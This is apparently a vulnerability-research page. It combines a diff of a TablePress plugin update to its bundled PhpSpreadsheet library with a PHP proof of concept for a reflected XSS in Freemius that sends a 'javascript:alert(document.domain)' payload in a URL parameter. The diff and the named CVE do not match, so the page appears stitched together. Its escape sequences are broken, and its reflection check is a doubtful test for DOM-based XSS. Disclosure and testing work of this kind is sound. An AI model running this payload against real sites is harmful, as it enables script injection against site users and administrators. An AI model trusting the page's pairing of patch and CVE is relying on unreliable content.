@@ -519,7 +519,7 @@
 	public function createSheet(?int $sheetIndex = null): Worksheet
 	{
 		$newSheet = new Worksheet($this);
-		$this->addSheet($newSheet, $sheetIndex);
+		$this->addSheet($newSheet, $sheetIndex, true);

 		return $newSheet;
 	}
@@ -534,14 +534,35 @@
 		return $this->getSheetByName($worksheetName) !== null;
 	}

+	public function duplicateWorksheetByTitle(string $title): Worksheet
+	{
+		$original = $this->getSheetByNameOrThrow($title);
+		$index = $this->getIndex($original) + 1;
+		$clone = clone $original;
+
+		return $this->addSheet($clone, $index, true);
+	}
+
 	/**
 	 * Add sheet.
 	 *
 	 * @param Worksheet $worksheet The worksheet to add
 	 * @param null|int $sheetIndex Index where sheet should go (0,1,..., or null for last)
 	 */
-	public function addSheet(Worksheet $worksheet, ?int $sheetIndex = null): Worksheet
+	public function addSheet(Worksheet $worksheet, ?int $sheetIndex = null, bool $retitleIfNeeded = false): Worksheet
 	{
+		if ($retitleIfNeeded) {
+			$title = $worksheet->getTitle();
+			if ($this->sheetNameExists($title)) {
+				$i = 1;
+				$newTitle = "$title $i";
+				while ($this->sheetNameExists($newTitle)) {
+					++$i;
+					$newTitle = "$title $i";
+				}
+				$worksheet->setTitle($newTitle);
+			}
+		}
 		if ($this->sheetNameExists($worksheet->getTitle())) {
 			throw new Exception(
 				"Workbook already contains a worksheet named '{$worksheet->getTitle()}'. Rename this worksheet first."
@@ -1085,6 +1106,11 @@
 		return $this->cellXfCollection[$cellStyleIndex];
 	}

+	public function getCellXfByIndexOrNull(?int $cellStyleIndex): ?Style
+	{
+		return ($cellStyleIndex === null) ? null : ($this->cellXfCollection[$cellStyleIndex] ?? null);
+	}
+
 	/**
 	 * Get cellXf by hash code.
 	 *
--- a/tablepress/libraries/vendor/PhpSpreadsheet/Style/NumberFormat/Formatter.php
+++ b/tablepress/libraries/vendor/PhpSpreadsheet/Style/NumberFormat/Formatter.php
@@ -22,11 +22,11 @@
 	private const SECTION_SPLIT = '/;(?=(?:[^"]*"[^"]*")*[^"]*Z)/miu';

 	/**
-				 * @param mixed $value
-				 * @param mixed $comparisonValue
-				 * @param mixed $defaultComparisonValue
-				 */
-				private static function splitFormatComparison(
+	 * @param mixed $value
+	 * @param mixed $comparisonValue
+	 * @param mixed $defaultComparisonValue
+	 */
+	private static function splitFormatComparison(
 		$value,
 		?string $condition,
 		$comparisonValue,
@@ -39,23 +39,23 @@
 		}

 		switch ($condition) {
-									case '>':
-										return $value > $comparisonValue;
-									case '<':
-										return $value < $comparisonValue;
-									case '<=':
-										return $value <= $comparisonValue;
-									case '<>':
-										return $value != $comparisonValue;
-									case '=':
-										return $value == $comparisonValue;
-									default:
-										return $value >= $comparisonValue;
-								}
+			case '>':
+				return $value > $comparisonValue;
+			case '<':
+				return $value < $comparisonValue;
+			case '<=':
+				return $value <= $comparisonValue;
+			case '<>':
+				return $value != $comparisonValue;
+			case '=':
+				return $value == $comparisonValue;
+			default:
+				return $value >= $comparisonValue;
+		}
 	}

 	/** @param mixed $value value to be formatted */
-				private static function splitFormatForSectionSelection(array $sections, $value): array
+	private static function splitFormatForSectionSelection(array $sections, $value): array
 	{
 		// Extract the relevant section depending on whether number is positive, negative, or zero?
 		// Text not supported yet.
--- a/tablepress/libraries/vendor/PhpSpreadsheet/Worksheet/AutoFilter.php
+++ b/tablepress/libraries/vendor/PhpSpreadsheet/Worksheet/AutoFilter.php
@@ -44,7 +44,7 @@
 	/**
 	 * Create a new AutoFilter.
 	 *
-	 * @param AddressRange<CellAddress>|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|string $range
+	 * @param AddressRange<CellAddress>|AddressRange<int>|AddressRange<string>|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|string $range
 	 *            A simple string containing a Cell range like 'A1:E10' is permitted
 	 *              or passing in an array of [$fromColumnIndex, $fromRow, $toColumnIndex, $toRow] (e.g. [3, 5, 6, 8]),
 	 *              or an AddressRange object.
--- a/tablepress/libraries/vendor/PhpSpreadsheet/Worksheet/Drawing.php
+++ b/tablepress/libraries/vendor/PhpSpreadsheet/Worksheet/Drawing.php
@@ -103,7 +103,7 @@

 		$this->path = '';
 		// Check if a URL has been passed. https://stackoverflow.com/a/2058596/1252979
-		if (filter_var($path, FILTER_VALIDATE_URL)) {
+		if (filter_var($path, FILTER_VALIDATE_URL) || (preg_match('/^([\w\s\x00-\x1f]+):/u', $path) && !preg_match('/^([\w]+):/u', $path))) {
 			if (!preg_match('/^(http|https|file|ftp|s3):/', $path)) {
 				throw new PhpSpreadsheetException('Invalid protocol for linked drawing');
 			}
--- a/tablepress/libraries/vendor/PhpSpreadsheet/Worksheet/Table.php
+++ b/tablepress/libraries/vendor/PhpSpreadsheet/Worksheet/Table.php
@@ -55,7 +55,7 @@
 	/**
 	 * Create a new Table.
 	 *
-	 * @param AddressRange<CellAddress>|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|string $range
+	 * @param AddressRange<CellAddress>|AddressRange<int>|AddressRange<string>|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|string $range
 	 *            A simple string containing a Cell range like 'A1:E10' is permitted
 	 *              or passing in an array of [$fromColumnIndex, $fromRow, $toColumnIndex, $toRow] (e.g. [3, 5, 6, 8]),
 	 *              or an AddressRange object.
@@ -244,7 +244,7 @@
 	/**
 	 * Set Table Cell Range.
 	 *
-	 * @param AddressRange<CellAddress>|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|string $range
+	 * @param AddressRange<CellAddress>|AddressRange<int>|AddressRange<string>|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|string $range
 	 *            A simple string containing a Cell range like 'A1:E10' is permitted
 	 *              or passing in an array of [$fromColumnIndex, $fromRow, $toColumnIndex, $toRow] (e.g. [3, 5, 6, 8]),
 	 *              or an AddressRange object.
--- a/tablepress/libraries/vendor/PhpSpreadsheet/Worksheet/Validations.php
+++ b/tablepress/libraries/vendor/PhpSpreadsheet/Worksheet/Validations.php
@@ -36,7 +36,7 @@
 	/**
 	 * Validate a cell address or cell range.
 	 *
-	 * @param AddressRange<CellAddress>|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|CellAddress|int|string $cellRange Coordinate of the cells as a string, eg: 'C5:F12';
+	 * @param AddressRange<CellAddress>|AddressRange<int>|AddressRange<string>|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|CellAddress|int|string $cellRange Coordinate of the cells as a string, eg: 'C5:F12';
 	 *               or as an array of [$fromColumnIndex, $fromRow, $toColumnIndex, $toRow] (e.g. [3, 5, 6, 12]),
 	 *               or as a CellAddress or AddressRange object.
 	 */
@@ -59,7 +59,7 @@
 	/**
 	 * Validate a cell range.
 	 *
-	 * @param AddressRange<CellAddress>|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|string $cellRange Coordinate of the cells as a string, eg: 'C5:F12';
+	 * @param AddressRange<CellAddress>|AddressRange<int>|AddressRange<string>|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|string $cellRange Coordinate of the cells as a string, eg: 'C5:F12';
 	 *               or as an array of [$fromColumnIndex, $fromRow, $toColumnIndex, $toRow] (e.g. [3, 5, 6, 12]),
 	 *               or as an AddressRange object.
 	 */
--- a/tablepress/libraries/vendor/PhpSpreadsheet/Worksheet/Worksheet.php
+++ b/tablepress/libraries/vendor/PhpSpreadsheet/Worksheet/Worksheet.php
@@ -49,6 +49,8 @@
 	public const MERGE_CELL_CONTENT_HIDE = 'hide';
 	public const MERGE_CELL_CONTENT_MERGE = 'merge';

+	public const FUNCTION_LIKE_GROUPBY = '/\b(groupby|_xleta)\b/i'; // weird new syntax
+
 	protected const SHEET_NAME_REQUIRES_NO_QUOTES = '/^[_p{L}][_p{L}p{N}]*$/mui';

 	/**
@@ -321,6 +323,7 @@
 	{
 		// Set parent and title
 		$this->parent = $parent;
+		$this->hash = spl_object_id($this);
 		$this->setTitle($title, false);
 		// setTitle can change $pTitle
 		$this->setCodeName($this->getTitle());
@@ -349,7 +352,6 @@
 		$this->autoFilter = new AutoFilter('', $this);
 		// Table collection
 		$this->tableCollection = new ArrayObject();
-		$this->hash = spl_object_id($this);
 	}

 	/**
@@ -869,7 +871,7 @@
 			// Syntax check
 			self::checkSheetTitle($title);

-			if ($this->parent) {
+			if ($this->parent && $this->parent->getIndex($this, true) >= 0) {
 				// Is there already such sheet name?
 				if ($this->parent->sheetNameExists($title)) {
 					// Use name, but append with lowest possible integer
@@ -899,7 +901,7 @@
 		// Set title
 		$this->title = $title;

-		if ($this->parent && $this->parent->getCalculationEngine()) {
+		if ($this->parent && $this->parent->getIndex($this, true) >= 0 && $this->parent->getCalculationEngine()) {
 			// New title
 			$newTitle = $this->getTitle();
 			$this->parent->getCalculationEngine()
@@ -1333,6 +1335,11 @@
 		return $this->rowDimensions[$row];
 	}

+	public function getRowStyle(int $row): ?Style
+	{
+		return ($nullsafeVariable3 = $this->parent) ? $nullsafeVariable3->getCellXfByIndexOrNull(($nullsafeVariable4 = $this->rowDimensions[$row] ?? null) ? $nullsafeVariable4->getXfIndex() : null) : null;
+	}
+
 	public function rowDimensionExists(int $row): bool
 	{
 		return isset($this->rowDimensions[$row]);
@@ -1376,6 +1383,11 @@
 		return $this->getColumnDimension(Coordinate::stringFromColumnIndex($columnIndex));
 	}

+	public function getColumnStyle(string $column): ?Style
+	{
+		return ($nullsafeVariable5 = $this->parent) ? $nullsafeVariable5->getCellXfByIndexOrNull(($nullsafeVariable6 = $this->columnDimensions[$column] ?? null) ? $nullsafeVariable6->getXfIndex() : null) : null;
+	}
+
 	/**
 	 * Get styles.
 	 *
@@ -1389,7 +1401,7 @@
 	/**
 	 * Get style for cell.
 	 *
-	 * @param AddressRange<CellAddress>|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|CellAddress|int|string $cellCoordinate
+	 * @param AddressRange<CellAddress>|AddressRange<int>|AddressRange<string>|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|CellAddress|int|string $cellCoordinate
 	 *              A simple string containing a cell address like 'A1' or a cell range like 'A1:E10'
 	 *              or passing in an array of [$fromColumnIndex, $fromRow, $toColumnIndex, $toRow] (e.g. [3, 5, 6, 8]),
 	 *              or a CellAddress or AddressRange object.
@@ -1693,7 +1705,7 @@
 	/**
 	 * Set merge on a cell range.
 	 *
-	 * @param AddressRange<CellAddress>|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|string $range A simple string containing a Cell range like 'A1:E10'
+	 * @param AddressRange<CellAddress>|AddressRange<int>|AddressRange<string>|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|string $range A simple string containing a Cell range like 'A1:E10'
 	 *              or passing in an array of [$fromColumnIndex, $fromRow, $toColumnIndex, $toRow] (e.g. [3, 5, 6, 8]),
 	 *              or an AddressRange.
 	 * @param string $behaviour How the merged cells should behave.
@@ -1818,7 +1830,7 @@
 	/**
 	 * Remove merge on a cell range.
 	 *
-	 * @param AddressRange<CellAddress>|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|string $range A simple string containing a Cell range like 'A1:E10'
+	 * @param AddressRange<CellAddress>|AddressRange<int>|AddressRange<string>|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|string $range A simple string containing a Cell range like 'A1:E10'
 	 *              or passing in an array of [$fromColumnIndex, $fromRow, $toColumnIndex, $toRow] (e.g. [3, 5, 6, 8]),
 	 *              or an AddressRange.
 	 *
@@ -1869,7 +1881,7 @@
 	/**
 	 * Set protection on a cell or cell range.
 	 *
-	 * @param AddressRange<CellAddress>|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|CellAddress|int|string $range A simple string containing a Cell range like 'A1:E10'
+	 * @param AddressRange<CellAddress>|AddressRange<int>|AddressRange<string>|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|CellAddress|int|string $range A simple string containing a Cell range like 'A1:E10'
 	 *              or passing in an array of [$fromColumnIndex, $fromRow, $toColumnIndex, $toRow] (e.g. [3, 5, 6, 8]),
 	 *              or a CellAddress or AddressRange object.
 	 * @param string $password Password to unlock the protection
@@ -1892,7 +1904,7 @@
 	/**
 	 * Remove protection on a cell or cell range.
 	 *
-	 * @param AddressRange<CellAddress>|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|CellAddress|int|string $range A simple string containing a Cell range like 'A1:E10'
+	 * @param AddressRange<CellAddress>|AddressRange<int>|AddressRange<string>|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|CellAddress|int|string $range A simple string containing a Cell range like 'A1:E10'
 	 *              or passing in an array of [$fromColumnIndex, $fromRow, $toColumnIndex, $toRow] (e.g. [3, 5, 6, 8]),
 	 *              or a CellAddress or AddressRange object.
 	 *
@@ -1950,7 +1962,7 @@
 	/**
 	 * Set AutoFilter.
 	 *
-	 * @param AddressRange<CellAddress>|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|AutoFilter|string $autoFilterOrRange
+	 * @param AddressRange<CellAddress>|AddressRange<int>|AddressRange<string>|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|AutoFilter|string $autoFilterOrRange
 	 *            A simple string containing a Cell range like 'A1:E10' is permitted for backward compatibility
 	 *              or passing in an array of [$fromColumnIndex, $fromRow, $toColumnIndex, $toRow] (e.g. [3, 5, 6, 8]),
 	 *              or an AddressRange.
@@ -2696,7 +2708,7 @@
 	/**
 	 * Select a range of cells.
 	 *
-	 * @param AddressRange<CellAddress>|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|CellAddress|int|string $coordinate A simple string containing a Cell range like 'A1:E10'
+	 * @param AddressRange<CellAddress>|AddressRange<int>|AddressRange<string>|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|CellAddress|int|string $coordinate A simple string containing a Cell range like 'A1:E10'
 	 *              or passing in an array of [$fromColumnIndex, $fromRow, $toColumnIndex, $toRow] (e.g. [3, 5, 6, 8]),
 	 *              or a CellAddress or AddressRange object.
 	 *
@@ -3703,7 +3715,9 @@
 			$keys = $this->cellCollection->getCoordinates();
 			foreach ($keys as $key) {
 				if ($this->getCell($key)->getDataType() === DataType::TYPE_FORMULA) {
-					$this->getCell($key)->getCalculatedValue();
+					if (preg_match(self::FUNCTION_LIKE_GROUPBY, $this->getCell($key)->getValue()) !== 1) {
+						$this->getCell($key)->getCalculatedValue();
+					}
 				}
 			}
 		}
--- a/tablepress/libraries/vendor/autoload-classmap.php
+++ b/tablepress/libraries/vendor/autoload-classmap.php
@@ -280,6 +280,7 @@
    'TablePressPhpOfficePhpSpreadsheetCalculationLookupRefIndirect' => $strauss_src . '/PhpSpreadsheet/Calculation/LookupRef/Indirect.php',
    'TablePressPhpOfficePhpSpreadsheetCalculationLookupRefHelpers' => $strauss_src . '/PhpSpreadsheet/Calculation/LookupRef/Helpers.php',
    'TablePressPhpOfficePhpSpreadsheetCalculationLookupRefRowColumnInformation' => $strauss_src . '/PhpSpreadsheet/Calculation/LookupRef/RowColumnInformation.php',
+   'TablePressPhpOfficePhpSpreadsheetCalculationLookupRefChooseRowsEtc' => $strauss_src . '/PhpSpreadsheet/Calculation/LookupRef/ChooseRowsEtc.php',
    'TablePressPhpOfficePhpSpreadsheetCalculationBinaryComparison' => $strauss_src . '/PhpSpreadsheet/Calculation/BinaryComparison.php',
    'TablePressPhpOfficePhpSpreadsheetCalculationFinancialTreasuryBill' => $strauss_src . '/PhpSpreadsheet/Calculation/Financial/TreasuryBill.php',
    'TablePressPhpOfficePhpSpreadsheetCalculationFinancialSecuritiesYields' => $strauss_src . '/PhpSpreadsheet/Calculation/Financial/Securities/Yields.php',
--- a/tablepress/tablepress.php
+++ b/tablepress/tablepress.php
@@ -4,13 +4,13 @@
  *
  * @package TablePress
  * @author Tobias Bäthge
- * @version 3.0.2
+ * @version 3.0.3
  *
  *
  * Plugin Name: TablePress
  * Plugin URI: https://tablepress.org/
  * Description: Embed beautiful and interactive tables into your WordPress website’s posts and pages, without having to write code!
- * Version: 3.0.2
+ * Version: 3.0.3
  * Requires at least: 6.2
  * Requires PHP: 7.4
  * Author: Tobias Bäthge

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based XSS via url Parameter

/*
 * This PoC sends a request to a vulnerable WordPress site that triggers
 * the reflected XSS in the Freemius admin notice via the 'url' parameter.
 */

$target_url = 'http://example.com/wp-admin/admin.php?page=freemius&url=javascript:alert(document.domain)';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_test_cookie=WP%20Cookie%20check');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "HTTP Status: $http_coden";

// Check for the injected payload in the response
if (strpos($response, 'javascript:alert(document.domain)') !== false) {
    echo "[+] Vulnerable: XSS payload reflected in response.n";
} else {
    echo "[-] Not vulnerable or patched.n";
}
?>

Frequently Asked Questions

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School